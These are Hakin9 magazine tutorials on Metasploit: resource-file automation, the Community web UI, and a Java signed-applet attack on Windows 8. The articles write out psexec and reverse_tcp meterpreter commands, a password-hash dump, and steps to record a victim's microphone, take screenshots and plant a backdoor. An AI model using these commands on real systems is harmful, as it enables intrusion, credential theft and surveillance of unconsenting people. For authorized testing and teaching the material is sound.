Although the meterpreter payload is where automation really gets interesting, I think it’s important to note that you already have some idea how to automate Metasploit. As mentioned previously, you can use the ‘resource’ command and if you explored the command line options for msfconsole you may have noticed the ‘-r’ option. Metasploit resource files provide the same functionality as resource files in Linux, they are files consisting of commands which are simply executed sequentially. You can write a resource file by hand or use the ‘makerc’ command to automatically write your previously entered console commands to an rc file. You can then open the rc file in a text editor to correct errors and remove unnecessary commands such as ‘show options’. Create a resource file with the following commands: use exploit/windows/smb/psexec show options set RHOST 192.168.100.102 set SMBPass mypassy set SMBUser tester set PAYLOAD windows/meterpreter/reverse_tcp exploit # check out the -j and -z options for more control

Run your resource file using ‘resource myres.rc’, or have it run automatically when the console is started by invoking the console as ‘msfconsole -r path/to/myres.rc’. A common location for resource files is /scripts/ resource/ and msfconsole will tab complete (I actually contributed this code and it was my first foray into tab completion and msfconsole code. Both of which frightened me. I continue to contribute in these areas as I like to add and fix functionality where it impacts me the most. http:// git.io/sghT2g (shortened github.com url)) and load them from there first, followed by the current working directory. But to truly make the most out of your resource files, you’ll want to explore Meterpreter. Meterpreter is a very capable payload and has numerous options, so we will only cover a few of them. Run ‘help’ to see them all. Like the console, the options are grouped by theme and new commands will be presented if new functionality is added using the ‘load’ command. ‘load’ will load a meterpreter extension (i.e. plugin) which dynamically adds new functionality to the payload, automatically uploading ad-

www.hakin9.org/en

ditional libraries as needed (dll’s in this case). Some plugins such as “stdapi” are automatically loaded The “espia” and “incognito” plugins are especially interesting. Many of the other commands will be quite familiar to anyone who uses the command line, especially in Linux, and will not be discussed. Table 3. Some useful Meterpreter commands Background (CtrlZ usually accomplishes this as well.)

Backgrounds the current session

exit/quit

Terminate the meterpreter session

help/?

Help menu

info

Displays information about a Post module

load

Load one or more meterpreter extensions

migrate

Migrate the server to another process

resource

Run the commands stored in a file

run

Executes a meterpreter script or Post module

Many other commands fall under the areas of file system (ls, cat, download, upload etc.), networking (ifconfig, portfwd, route etc.), system (execute, getpid, getuid, kill, ps, shell, sysinfo etc.) among other areas. You’ll have to spend some time exploring the command set to become truly familiar with Meterpreter. You may want to run ‘getuid’ and ‘getpid’ to determine under what account (uid) and process ID your Meterpreter is running. You can then run ‘ps’ to see the other running processes and to determine the process name for your pid. Running ‘shell’ will drop you to a command shell which is obviously very handy (run Ctl-Z to background the shell and return to Meterpreter). Running ‘sysinfo’ will give you basic information about the host. From here you could migrate Meterpreter to another process, depending on permissions. Migration is extremely useful, especially when Meterpreter is in a process which is likely to be terminated, such as a browser process. This is common when the exploit module was a client-side attack such as a browser exploit, or exploit/windows/ fileformat/apple_quicktime_texml which affects QuickTime. This exploit module affects Windows XP SP3, but has been modified to work on Windows7 (DjManilaIce (Matt Molinyawe) demonstrates a privately updated version of the exploit module running on Windows7: http://www.youtube.com/watch?v=JznIznfZ0OQ). It is not uncom-

49

A GUIDE TO METASPLOIT mon for private module versions to exist for various reasons, most often due to intellectual property concerns (There is even a market for updated and “1-day” exploit modules, see www.exploithub. com. These modules are marketed towards professional pentesters. As of 2nd Qtr 2012 there are 116 Metasploit exploit modules available. Notice who wrote most of those modules...(not me)) or because of stability issues with the new version (There is an entire branch of the Metasploit code dedicated to unstable modules: https://github.com/ rapid7/metasploit-framework/tree/unstable). Most commonly, running a post module is the next step. A post module can be run using the ‘run’ command from within the Meterpreter context, or by running ‘use post/path/to/postmod’ from the msfconsole context. Since it is difficult to show the post module’s options while in the Meterpreter context, I usually only use this syntax when I know the options already, or the module doesn’t require that I set any options. Otherwise, I usually background the meterpreter session and return to the msfconsole context so I can utilize the ‘use’ method. There are 500+ post modules, broken down by operating system and then theme. The Windows OS has the most post modules and they are grouped into capture (keystrokes etc.), escalate (privileges), gather (user, host, domain, or network information etc.), manage (the host or the meterpreter environment), recon, and wlan. You can do just about anything (Seriously, anything. Especially because of railgun. Railgun is a Windows API bridge allowing you to call into any DLL (not just operating system DLLs), taking advantage of anything in the Windows API), but a common practice at this point is

to dump the accounts and their password hashes. The process and semantics are the same as running any other module: Figure 8. Remember to: T: Tab complete everything. U: ‘use’ a module. S: ‘show options’. S: ‘set’ options. E/R: ‘exploit’ an exploit module and ‘run’ post and aux modules

I think at this point, you can appreciate how simple it would be to write a resource script that could maybe loop through a group of IPs, create a session on each, and dump the hashes. This could be useful for testing an enterprise’s password complexity compliance for instance. Or, what if you ran a test range and you want to make sure each host has a specific application, configuration, or environment. You could loop through running various post modules. Although there are more post modules for the Windows OS than any other, there are also several Linux post modules and even multi-OS modules which run on most modern platforms (find them in post/ multi/*). If you attempt to write a resource script like this, you may find yourself wanting to store results easily as well as run some “glue” code for things like looping over IPs or reading them from a file. Metasploit has a postgres database which is incredibly helpful for storing and exporting data. Most well-written post modules will use the database (via ‘db_report’ and ‘loot’ etc.) but not all, especially not the older modules. A post module can even create an arbitrary database note (db_note) against a host, port, vulnerability etc. The database has its own set of options available through the msfconsole context. The ‘hosts’ command will display the known hosts and pertinent info about each. ‘hosts -o’ will dump the contents in a friendly CSV output. As for the glue code, well Metasploit has you covered. You can run ruby inline in your resource file by supplying tags. This makes looping very easy and essentially makes a resource file capable of arbitrary complexity. The ruby can even be used to load new ruby gems which the framework doesn’t normalFigure 8. Running the post/windows/gather/hashdump module ly need. There are numerous

50

TBO 01/2013

examples of this in action on the Internet (excellent stuff from mubix: http://www.room362.com/ blog/2010/9/12/rapid-fire-psexec-for-metasploit. html). A super simple example which just runs our psexec exploit module 3 times: use exploit/windows/smb/psexec set RHOST 192.168.100.102 set SMBPass mypassy set SMBUser tester set PAYLOAD windows/meterpreter/reverse_tcp 3.times { run_single(“exploit -z”) } # run_single is how you run a console command when you are in the ruby tag # exploit -z indicates we don’t want to autointeract w/the session

When automating the console and exploit modules like this, you will sometimes find that Metasploit throws errors because a port is already bound by another payload’s “handler”, or you’ll see exploitation fail because the handler is not listening anymore. When you use a reverse connecting (reverse binding) payload, the framework automatically sets up a listening server called the handler, which handles payloads connecting back to the Metasploit instance. To gain finer grained control over this process you can ‘set DisablePayloadHandler true’ before executing the exploit module. As a consequence, you must set up the handler yourself, and you will see options we haven’t dealt with directly yet. You must do this before you execute the exploit or the connection will fail. A useful technique in this scenario is to ‘set ExitOnSession false’ which tells the han-

dler to remain listening for more connections instead of terminating after the first session is created. DisablePayloadHandler and ExitOnSession are considered advanced options. You can see advanced options by running ‘show advanced’. You may also want to check out evasion options... guess how you see those? Our new code starts like this: Listing 1. As I became more capable with Metasploit, right about when I got to this point here in my learning, I started to use this approach to manage test labs, help test my company’s defenses with custom post modules (If you dig around, you can find some of them here: https://github.com/kernelsmith/ metasploit-framework/tree/post_modules/modules/ post/windows), and even enumerate enterprise networks after a breach to help identify rogue network hosts (See the first topic area in this presentation (flash): http://prezi.com/r_hmvavkgds-/source-barcelona-2011-metasploit-the-hackers-other-swissarmy-knife/). I began to understand how to interrogate the framework instance for information (You can find various examples, some silly, some very interesting, and generally peruse some of my rc files at https://github.com/kernelsmith/metasploitframework/tree/resource_hotness/scripts/resource) (while inside the ruby tags) such as ‘framework. sessions’ and ‘active_module.fullname’ and I started to feel somewhat capable. I started hosting VMs to test my new creations. I found myself doing lots of tedious work starting the VM, establishing a session, loading my experimental module, and running it. Much of this I automated with resource files, but some I could not. I also became active on the #metasploit IRC channel which gave me further insights. Two things happened around this time which accelerated my learning. First, I volunteered to at-

Listing 1. Example resource file (manually setting up a payload handler) use multi/handler set PAYLOAD windows/meterpreter/reverse_tcp # this MUST match the exploit’s payload set LHOST 192.168.100.101 # this is the local interface to which we will bind the handler set LPORT 4343 # we choose a different local port on which to listen set ExitOnSession false # keep the handler up after the first session is created exploit -j # this runs the handler as a background job use exploit/windows/smb/psexec set RHOST 192.168.100.102 set SMBPass mypassy set SMBUser tester set PAYLOAD windows/meterpreter/reverse_tcp set DisablePayloadHandler true # this tells the framework not to start a payload handler for us exploit -z # -z indicates we don’t want to auto-interact w/the session

www.hakin9.org/en

51

A GUIDE TO METASPLOIT tempt to add some desired functionality mentioned by Egyp7 (https://github.com/rapid7/metasploitframework/blob/master/lib/msf/core/post/windows/ cli_parse.rb and some of the calling code. In fact, I’m still working on it, it’s the “nnmeterp” branch on my github above). This was not easy for me at the time, as I had no idea if I could do it, how long it would take me, and I didn’t really know how the process of contributing even worked (MSF used svn back then, they use git now, not that it would have made much difference to me). I wrote the code and submitted it as best I could, and it wasn’t even integrated properly. Egyp7 integrated it, tested it and submitted it. Seeing that code integrated showed me I could do it myself. I have to thank Egyp7 tremendously at this point, because once I started submitting useful code, he spent some one-on-one IRC time with me, even though we had never met or spoken (although we have now), which really accelerated my understanding. And many folks on the IRC channel give up their own time to help out the n00bs. Just keep in mind that the time given is in proportion to the quality of your questions. Try not to ask questions that can be solved by a quick Google search, etc. Second, as I increasingly began using virtual machines, I noticed a lesser-known feature in MSF called “lab”. Lab (Jon later turned the plugin into a full-blown, stand-alone ruby gem which can be found here: http://rubygems.org/gems/lab but for the very latest code, see: https://github.com/pentestify/lab) was a console plugin you could use to manage and manipulate virtual machines, but nobody was using it. Between learning to use it and fixing a few bugs I found, I started interacting with the author, Jonathan Cran (jcran), who I would find out later was the Director or Quality Assurance at Rapid7 for Metasploit (Metasploit was acquired in Oct 2009 by Rapid7 but the framework remains (and benefits) as open source). Jon was insanely nice, helpful and excited to have the bug fixes. I noticed he wanted VMWare ESX/ESXi support for the lab plugin, and I had been dealing with ESXi at work, so I decided to give it shot. This was a very smart thing to do...not only did I learn a lot about Ruby, but I eventually met Jon at DefCon and now we collaborate on all sorts of projects and I continue to marvel at his knowledge, willingness to share and teach, and his gregarious personality (Seriously, most of us are either introverted or just plain don’t like most people. Jon knows everyone. How we met at DefCon is a funny story...buy me a beer sometime and I’ll tell you). I eventually parlayed my experiences into a co-presenter arrangement with Jon at Source Barcelona 2011 (The video: http://tinyurl.com/blip-sb2011, the “slides” (requires flash): http://tinyurl.com/prezi-

52

sb2011) where I got a close-up look at jcran’s dedication. We both saw the flexibility of MSF and how it could be used to solve all sorts of problems, or just to improve current working solutions. The Source Barcelona presentation is an excellent example of what you can do, with even the simple automation code we have seen so far in this article, and how you can take those humble beginnings and do some truly interesting things. Some of the ideas we had included host anomaly detection (I actually implemented this in real life, the auxiliary/scanner/smb/smb_ version module is amazing), network regression testing, continuous discovery/enumeration, testing & training software, hardware, and meatware (the people), automating a test lab, simulating attacks/attackers). At this point, is probably when I started to fancy myself as an actual Metasploit contributor, however, this is also when the contribution process changed pretty dramatically.

tour_stops.last # Developing for and Contributing to MSF While developing your own code for Metasploit and contributing it back to the community are entirely separate activities, they are also often tied together. Once you feel comfortable writing some of your own code, I encourage you to approach the process as if you are always going to contribute the code. This forces you to set up your environment properly and follow at least reasonably good coding practices. Most importantly, you will be less likely to lose or corrupt your code. The first thing you need to know is Metasploit converted from svn to git in November 2011. In order to submit any contributions beyond maybe one-line fixes, you can save everyone a lot of time and pain by using git. Now, if you haven’t used git before, you’re admittedly going to need some time and some pain tolerance, but once you get going, you’ll love it (Ok, maybe “love” is a strong word. Let’s say you’ll appreciate its usefulness and technical prowess, and occasionally curse at it profusely). There are many guides to using and setting up git (https://help.github.com/articles/setup-git), and since it’s not strictly required to write your own code, we will not cover it except to point out that there is an excellent development environment guide (https://github.com/rapid7/metasploitframework/wiki/Metasploit-Development-Environment) for Metasploit which covers the full process. To get started more quickly, you may just want to run the MSF installer and then skip to the git setup. However, if you plan on doing any major contribu-

TBO 01/2013

tion, you’ll want to set up a full development environment because multiple versions of Ruby are fully supported and you’ll want to ensure your code runs on all of them. Regardless, to properly submit a contribution, you’ll need at least a github.com account. Don’t worry it’s painless and actually pretty awesome. You’ll find yourself putting all your code on github.com if for no other reason than to have access to it from anywhere and as a backup so you don’t lose your code. I wrote several post modules, resource scripts etc., before the switch to git, but over time they almost all made their way onto github even though many were never submitted (usually because they are poorly written, need polishing, or are too narrowly focused) (See for yourself: https://github.com/kernelsmith). Since there are so many resources out there, we’ll just cover some msfconsole commands and datastore options which we skipped previously, but now may become very useful. We’ll also talk about some tips to help you sift through the giant codebase that is MSF (Ohloh says it’s 2M lines of code including blank lines: http://www.ohloh.net/p/ metasploit. But don’t worry; you’ll likely never need to examine that much of it) (Table 4). There are a few status/log related datastore settings you might find useful. You can see them most easily by running the ‘back’ command until you are at the msfconsole main prompt again (“msf>”) and then running ‘show options’. Setting ConsoleLogging or SessionLogging will log all console (or session) I/O and naturally setting LogLevel to a higher value increases the detail you’ll see in your logs at ~./msf4/logs (0 is the Table 4. Msfconsole commands commonly used during development

Command

Description

cd

Change the current working directory

irb

Drop into irb scripting mode

loadpath

Searches for and loads modules from a path

makerc

Save commands entered since start to a file

reload_all

Reloads all modules from all defined module paths

resource

Run the commands stored in a file

save

Saves the active datastores

spool

Write console output into a file as well the screen

version

Show the framework and console library version numbers

pry

Open a Pry session on the current module

www.hakin9.org/en

default value and 5 is the max). Setting VERBOSE to true will increase the verbosity of msfconsole status messages. Before we talk about some commands, you can save yourself loads of frustration if you A) use Linux for MSF development, I can’t even imagine using Windows for it and B) make the following two changes to your shell environment. Add an ‘rgrep’ function or similar to your shell (http://blog.pentestify.com/ handy-bash-functions) to help you find where code is declared and add at least the current git branch to your prompt (https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Development-Environment#wiki-prompt) to avoid much git grief down the road. Many of the commands are self-explanatory, but a few need some elaboration. The ‘irb’ command is FANTASTIC. It opens an interactive ruby (irb) session while the framework is fully loaded. This is insanely helpful when you want to explore the name and object spaces. Two quick hints, the “framework” variable holds the framework instance, and the “client” variable holds the meterpreter instance if you run ‘irb’ from within the meterpreter context. You could for instance run something like s = framework.sessions, s.first[1].alive?, or s.first[1].exploit. fullname which would be the same as client. exploit.fullname from the meterpreter context. You can also run tools/msf_irb_shell.rb from a system command shell if you didn’t have MSF already running. While we’re talking about the tools directory, there are some other code exploration and other standalone tools in there you should explore. One you should use if submitting any contributions is msftidy.rb, which will help you comply with MSF coding styles. Those styles can be found in the HACKING text file in your installation directory. Other useful commands include ‘loadpath’ in case you store your modules in a non-standard location. The best location to store your personal modules is usually ~/.msf4/modules because modules there are automatically loaded by the framework, but will not get overwritten by any updates. The same goes for plugins (~/.msf4/ plugins). This (~./msf4) is where you will also find your configuration info, command history, logs, etc. The ‘save’ command will save local datastores so you don’t have to keep setting RHOST etc. ‘spool’ writes all the console output to a file in addition to stdout which helps you examine what happened in the past, especially when running a long resource file for example, or simply to record what happened. This can also be helpful for

53

A GUIDE TO METASPLOIT Additional Reading

Metasploit Resources • http://www.metasploit.com/development/mailing-list/ • http://www.offensive-security.com/metasploit-unleashed/ • http://nostarch.com/metasploit (book) • http://www.metasploit.com/development/ • http://blog.pentestify.com Getting started with Ruby • http://www.reddit.com/r/ruby/comments/yfzl8/what_ should_i_be_doing_if_im_just_starting_out/ • http://www.sapphiresteel.com/The-Little-Book-Of-Ruby/ (free book) • http://www.humblelittlerubybook.com/ (free book) Setting up a Metasploit development environment • https://github.com/rapid7/metasploit-framework/wiki/ Metasploit-Development-Environment • https://gist.github.com/2555109 (adding current git branch to your Linux prompt)

finding your own bugs as well as submitting bugs back to Metasploit, as can the ‘version’ command which will print the framework and console versions. For serious help debugging your own modules, I highly recommend the ‘pry’ command. Pry is an awesome Ruby gem (http://rubygems.org/ gems/pry and http://pryrepl.org/) which basically gives you an irb-like console designed for debugging. You can even have your module spawn a pry session at a specific point by putting “binding. pry” at the code location. As a reward for reading this far, and because I know the Metasploit codebase can be overwhelming, I’d like to mention that you can develop in a development IDE. There are not many full-featured Ruby IDE’s, but here is an excellent guide and walkthrough put together by Matt Molinyawe (DjManilaIce) for exploring MSF code in netbeans: Setting up netbeans: http://blog.pentestify.com/ setting-up-metasploit-with-netbeans-ide. Exploring MSF code: http://blog.pentestify.com/ using-netbeans-ide-features-with-metasploit.

tour.close # Enough Already, My Head Hurts I hope you enjoyed the tour and are convinced you can master Metasploit and start writing your own code. Hopefully you will even start contributing back to this great tool and community. It’s pretty amazing what you can accomplish if you dive in and “meet” some of the great people who make up the Metasploit community. The tour guide would like to thank: his wife first and foremost for her understanding, as well as MC, egypt, jcran, hdmoore,

54

• http://blog.pentestify.com/setting-up-metasploit-with-netbeans-ide • http://blog.pentestify.com/using-netbeans-ide-features-with-metasploit (movie) Automating and Extending the Metasploit Framework, the Hacker’s Other Swiss Army Knife • http://prezi.com/r_hmvavkgds-/source-barcelona-2011metasploit-the-hackers-other-swiss-army-knife/ • http://blip.tv/sourcebarcelona2011/metasploit-hacker-s-swiss-army-knife-5860160 Cool contributions and code (there are too many to do real justice, so this is stuff in which I’m involved) • https://github.com/pentestify/ • https://github.com/kernelsmith/metasploit-framework • https://github.com/rapid7/metasploit-framework/pulls/ kernelsmith

djmanilaice, Art Pemberton, Chris Semon, Jay Turner, Amy Castner, Laura Nolan, Andy Oak, and countless others too numerous to name.

JOSHUA SMITH

Joshua Smith (kernelsmith) is currently a security researcher at NSS Labs in Austin, TX USA. Previously Josh worked at the Johns Hopkins University Applied Physics Laboratory (JHUAPL) performing various test lab, penetration testing, intrusion analysis, training, and consultation tasks. Josh also performed penetration testing for the US military for 3 years, and is an active Metasploit contributor and community member. Josh’s educational background includes various certifications, a B.S. in Aeronautical Engineering from Rensselaer Polytechnic Institute in Troy, NY USA, an M.A. in Management of Information Systems from the University of Great Falls in Great Falls, MT, and sundry computer-related courses in between knee surgeries and before having children. He blogs, along with others at www.pentestify.com and tweets occasionally via @kernelsmith. This is his first magazine article ever.

TBO 01/2013

EXPLOITING WITH METASPLOIT

How to Penetrate with Metasploit? A Step-by-step Basic Pentesting Guide

Cybercriminals are knocking at our doors, so we need to be prepared to protect our systems from them. The big question is how I am going to do this, if I don’t know my system vulnerabilities. Pentesting is the answer. Now, how do I perform a cheap/free but powerful pentest in my system? Here is where Metasploit Community appears.

I

n this article, you will learn about Metasploit, particularly “Metasploit Community”, and how to use this powerful solution to perform a pentest. Enjoy the reading!

Remembering the concept of “Penetration Testing”… The wise Wikipedia, define penetration testing, also called pentesting, as “a method of evaluating the computer security of a computer system or network by simulating an attack from malicious outsiders and malicious insiders”. In a few words. It is a method used to seek out vulnerabilities that an attacker could exploit. Easy, right? But a pentest should not be performed randomly. You need a predefined methodology to succeed. Let’s check it out.

Figure 1. Pentesting four phase methodology

56

Pen Testing Methodology A pentest is commonly performed using a four phase methodology. Metasploit Community provides a complete penetration testing system that can be use to perform a comprehensive four phase pentest: scan for target hosts, open and control sessions, exploit vulnerabilities, and generate reports. In this article, we will focus only in the discovery and attack/exploit phases. It is time to learn about the solution – Metasploit!

Metasploit… what is that? In the market there is a good quantity of options where to choose when you decide to perform a pentest, from commercial expensive product to free Open Source options. Metasploit provides different solutions (editions) to information security issues from exploit conception to execution (Figure 2).

Figure 2. Metasploit logo

TBO 01/2013

Here we are going specifically to Metasploit Community Edition that is only one of several Rapid7 products (Figure 3). Metasploit Community is a free penetration testing solution that provides us with the right to use the largest fully tested and integrated public database of exploits in the entire world. Yes… it’s huge.

Prerequisites:

Showtime… Testing time

The first phase consists on a discovery scan. It is used to identify the valid hosts within a target network address range, which are going to be exploited through their vulnerabilities. When we perform a host scan, Metasploit Community provides information about the vulnerabilities, services and captured evidence.

Important: Run Metasploit Community only on machines you own or have permission to test. Using this software for criminal activity is illegal and could result in jail time. We are going to perform two phases of a regular pentest: discovery phase and attack/exploit phase. Following, you will see a step-by-step of how to do a pentest using Metasploit Community solution. So, let’s begin!

• • • •

Disable the antivirus and firewall in your machine. Install the Metasploit in your machine. Launch the Metasploit Web UI. Create a project or open a created one.

Discovery Phase

Step 1 Click Scan… (Figure 5)

Figure 3. Metasploit editions

Figure 6. Target settings

Figure 4. Metasploit dashboard

Figure 7. Scan launched

Figure 5. Scan button

Figure 8. Tasks display

www.hakin9.org/en

57

EXPLOITING WITH METASPLOIT Step 2 In the New Discovery Scan window display, enter the target addresses that you want to include in the scan (Figure 6). Optional Click Show Advanced Options to verify and configure the advanced options for the scan.

Step 3 Launch the scan (Figure 7). By clicking on Tasks, you will see the status of the different tasks. This display includes the type of task, details, progress and the timestamp/duration of the process. This list will include task that are running, were stopped or completed (Figure 8). Once you complete the scanning of target systems, you could view discovered host information

58

from the Analysis tab, the option Hosts (Figure 9 and Figure 10). By clicking an specific host, you will get additional information of it as: basic information, services, vulnerabilities and so on (Figure 11).

Attack Phase In the attack phase, we use exploits to execute sequence of commands (web application exploits, code injection, buffer overflow and more) to target a specific vulnerability found in a host, system or application. Metasploit Community offers access to a huge library of exploit modules, auxiliary modules, and post-exploitation modules.

Step 1 Select the target host. Then, click Modules tab (Figure 12).

Figure 9. Path to Analysis tab

Figure 12. Choosing the target host

Figure 10. Hosts discovered

Figure 13. Search engine

Figure 11. Analyzing status of a discovered host

Figure 14. Running a module. Example 1

TBO 01/2013

Step 2 Use the search engine to find a specific module. Use the keyword tags to define the search term (Figure 13).

Step 3 Click on a module name to select the module. The Module window appears. Define all the parameters for the exploitation. It depends of the selected module.

Step 4 Run the module. Following, you will see example of different modules running (Figure 14-16). By clicking on Tasks, you will see the status of the different modules running (Figure 17). After you gain access to a target system, you can run run post-exploitation modules to take control of

Figure 18. Active sessions

References

[1] http://www.metasploit.com/ [2] Metasploit Community. User Guide. Release 4.5 [3] http://www.infosecwriters.com/text_resources/pdf/ PenTest_MSaindane.pdf

the system (Figure 18). After you obtain a session on the target system, you can view the post-exploitation modules that are applicable for that session. A post-exploitation module provides a standardized interface that you can use to perform post-exploit attacks. The post-exploitation phase enables you to collect further information about a target system and to gain further access to the network. Figure 15. Running a module. Example 2

Figure 16. Running a module. Example 3

Conclusions It is important to understand that appropriate penetration testing is critical to sever security. If you decide to perform your own pentests (free option), Metasploit Community is a good option to start with. If you have the opportunity to buy the solution Metasploit Pro, don’t doubt it twice. This solution will give you an enormous quantity tools, modules and options to perform an all-inclusive pentest. Just keep in mind, to follow the four phase methodology. It is not pentest just for pentest. From the results of these tests and the decisions taken from that results, depends the security of your organization.

ABDY MARTÍNEZ

Abdy Martínez, Telecommunications Administrator at AES Panama, is specialized in Network / Information Security and Forensics. CCNA Security, CompTIA Security+ (2011 objectives) and CCDA certified.

Figure 17. Tasks. Modules running

www.hakin9.org/en

59

EXPLOITING WITH METASPLOIT How To Exploit

Windows 8 With Metasploit

In this article we’re going to learn how to exploit (Windows 8 Preview Build 8400) with client-side attack technique, we’ll get meterpreter session on windows 8 machine. For those who don’t know what is metasploit project.

T

he Metasploit Project is a computer security project which provides information about security vulnerabilities and aids in penetration testing and IDS signature development. Its most well-known sub-project is the open-source Metasploit Framework, a tool for developing and executing exploit code against a remote target machine. Other important sub-projects include the Opcode Database, shell-code archive, and security research. The Metasploit Project is also well known for anti-forensic and evasion tools, some of which are built into the Metasploit Framework. (Wikipedia)

from link below: http://www.rapid7.com/products/ metasploit/download.jsp. Secondly, you need “windows 8 preview Build 8400”

In this article we’re going to work with Metsaploit the console presented in the first graph.

How to prepare your labs ?

60

First You need Backtrack 5 with metasploit or you can download metasploit project for your system

Figure 2. MSFGUI

Figure 1. Metasploit Console

Figure 3. Msf console terminal

TBO 01/2013

Now ready For exploiting ?? 1 – first, open the terminal and type “msfconsole“ Note I typed – sudo su – to take root privilage first because I’m not working on backtrack if you’re on backtack just type msfconsole in terminal as shown in Figure 3 Wait for a while and it will be opened, you’ll see a command line starts with MSF> – as shown in the Figure 4. 2 – Secondly, I’ll use an exploit called “Java_signed_ applet” which targets JAVA vulnerable versions and can affect a huge amount of computers. We’ll type in Msf > search java signed, as shown in Figure 5.

Figure 4. Msf command line

Figure 5. Search for java signed applet

Figure 6. Use exploit

www.hakin9.org/en

We’ll use the first one exploit/multi/browser/ java_signed_applet to use any exploit in metasploit project type “use” before exploit name. As shown in Figure 6.

Hint To get more info about the exploit you can type “info” and you’ll get more information about this exListing 1. Exploit Description Description:

This exploit dynamically creates a .jar file via the Msf::Exploit::Java mixin, then signs the it. The resulting signed applet is presented to the victim via a web page with an applet tag. The victim’s JVM will pop a dialog asking if they trust the signed applet. On older versions the dialog will display the value of CERTCN in the “Publisher” line. Newer JVMs display “UNKNOWN” when the signature is not trusted (i.e., it’s not signed by a trusted CA). The SigningCert option allows you to provide a trusted code signing cert, the values in which will override CERTCN. If SigningCert is not given, a randomly generated self-signed cert will be used. Either way, once the user clicks “run”, the applet executes with full user permissions.

Figure 7. Exploit information

61

EXPLOITING WITH METASPLOIT ploit – as shown in Figure 7. Here’s the exploit’s description and I think that now we understand how this exploit works (Listing 1). We need to know what's option for this exploit so we'll type in “show options” it's included also in info, as shown in Figure 8. 3 – Next, we'll set the SRVHOST which will be the attacker IP. We'll type “ifconfig” in terminal to get internal IP address, as shown in Figure 9 – it's 192.168.1.110. • We'll type in “set SRVHOST 192.168.1.110” • We'll set the target which is (1 – Windows x86) because we're going to attack windows machine so type in “set target 1”

• We'll set the LHOST which is Attacker IP and, because it's inside an Internal network, we'll set it with our local IP (192.168.1.110). Note If you’d like to attack outside your local network, you need to set your public IP address in LHOST, and enable DMZ on attacker machine or enable port forwarding. • Now you need to know which payload you’ll use after attacking machine and the most familiar one is meterpreter, so we’ll set the payload (windows/meterpreter/reverse_tcp), as shown in Figure 13.

Note If you’d like to use another payload you can type in “show payloads” and choose your preferred payload. • We’ll specify the URI which will be sent to victim machine. I want to make it on the main directory so I’ll type in “set URIPATH /“ as shown in Figure 14. Figure 8. Show options

Figure 9. ifconfig

Note If you need to specify another URI name you can do it easily by typing in “set URIPATH name” and you can change “name” to your preferred word.

Figure 13. Set Payload

Figure 14. Set URIPATH

Figure 10. set SRVHOST

Figure 11. Set target

Figure 12. Set LHOST

62

Figure 15. Exploit

Figure 16. Meterpreter

Figure 17. System information

TBO 01/2013

• We’ll type in “exploit” to run it, and it will give us the URI which is our IP address with your preferred URIPATH – Figure 15. Now, We need to send the URL to a victim machine so we’ll open it with our windows8 machine. • Finally, a message will appear on victim machine after opening URL. If he/she clicked on Run, a meterpreter sessions will be opened in attacker PC, as shown in Figure 16.

Figure 22. Help

References

• http://en.wikipedia.org/wiki/Metasploit_project • http://www.metasploit.com/modules/exploit/multi/ browser/java_signed_applet • http://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-valsmith-metaphish.pdf Figure 18. Processes

Figure 19. Mic record

Figure 20. Screen-shot

We Can do some commands with victim PC such as capturing screen or recording mic. First, here’s the first command “sysinfo” – which tell you some information about the system (Figure 17). We can also see what the processes run at the time in victim machine with “ps” command (Figure 18). Would you like to hear the victim’s voice?! You can do it with “mic_record” command (Figure 19). And, if you need to take a screen-shot of victim’s screen you can do it easily by “screenshot” command (Figure 20). Finally, I tried to upload payload and execute it in victim machine, so, if you want to keep the victim longer with you then you should upload another backdoor to keep in touch with them (Figure 21). If you need any help with meterpreter just type “help” and all commands will come up and show in your screen (Figure 22).

AHMED SHERIF EL-DEMRDASH

Figure 21. Upload executable file

www.hakin9.org/en

Information security researcher | PHP Developer | Google Ambassador | Egyptian Malware analyst Passionate of anything related to information security. For any help don’t hesitate to contact me [email protected] Twitter: @_ahmadsherif Facebook: fb.com/ahmadsheri

63

EXPLOITING WITH METASPLOIT

How to Use Metasploit with Backtrack This article has been issued for educational purpose. The author cannot be held responsible for how the topics discussed in this document are applied.

B

ackTrack is a distribution based on the Debian GNU/Linux distribution aimed at digital forensics andpenetration testing use.it is named after backtracking, a search algorithm. The current version is BackTrack 5 R3. now based on Ubuntu 10.04 (Lucid) LTS, which is itself is based on Debian. [1] The BackTrack distribution originated from the merger of two formerly competing distributions which focused on penetration testing:

• WHAX: a Slax based Linux distribution developed by Mati Aharoni, a security consultant. Earlier versions of WHAX were called Whoppix and were based on Knoppix. • Auditor Security Collection: a Live CD based on Knoppix developed by Max Moser which included over 300 tools organized in a userfriendly hierarchy. The overlap with Auditor and WHAX in purpose and in their collection of tools partly led to the merger. [1] With this introduction in mind, and also its popularity, BackTrack has become one of the top security tool which is used by both hackers and system administration. The simplicity of use and also wonderful collection of tools, has made it more popular and powerful of course. In this short tutorial of BackTrack, we will get to know an exploiting framework called Metasploit; which was created by great

64

HD Moore. Metasploit itself has a standalone version, “Metasploit Framework” which is used by pros. BackTrack includes Metasploit too, but it doesn’t get updated with new modules, e.g. “Exploit Module”. At first we go through basic, yet main, definitions and parts inside of Metasploit. Our amigo has lots of features that could not be covered completely here; So we focus on the two big brothers: Payload & Meterpreter. Then we will practice one trick or two. A payload is the piece of software that lets you control a computer system after it’s been exploited. The payload is typically attached to and delivered by the exploit. Just imagine an exploit that carries the payload in its backpack when it breaks into the system and then leaves the backpack there. Yes, it’s a corny description, but you get the picture.[3] There are three different types of payload module types in Metasploit: Singles, Stagers, and Stages. These different types allow for a great deal of versatility and can be useful across numerous types of scenarios. Whether or not a payload is staged, is represented by ‘/’ in the payload name. For example, windows/shell_bind_tcp is a single payload, with no stage whereas windows/shell/bind_tcp consists of a stager (bind_tcp) and a stage (shell).

Singles Singles are payloads that are self-contained and completely standalone. A Single payload can be something as simple as adding a user to the target system or running calc.exe.

TBO 01/2013

Stagers Stagers setup a network connection between the attacker and victim and are designed to be small and reliable. It is difficult to always do both of these well so the result is multiple similar stagers. Metasploit will use the best one when it can and fall back to a less-preferred one when necessary. Windows NX vs NO-NX Stagers • Reliability issue for NX CPUs and DEP • NX stagers are bigger (VirtualAlloc) • Default is now NX + Win7 compatible

Stages Stages are payload components that are downloaded by Stagers modules. The various payload stages provide advanced features with no size limits such as Meterpreter, VNC Injection, and the iPhone ‘ipwn’ Shell. Payload stages automatically use ‘middle stagers’ • • • •

A single recv() fails with large payloads The stager receives the middle stager The middle stager then performs a full download Also better for RWX [4]

